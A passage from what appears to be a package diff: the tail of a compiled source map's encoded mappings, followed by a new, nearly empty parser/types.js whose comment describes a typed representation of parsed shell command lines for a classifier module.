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"}

package/dist/parser/types.js

@@ -0,0 +1,6 @@
+/**
+ * Typed representation of a parsed shell command line. This is the ONLY
+ * structure classify/ is allowed to reason over -- never the raw string.
+ */
+export {};
+//# sourceMappingURL=types.js.map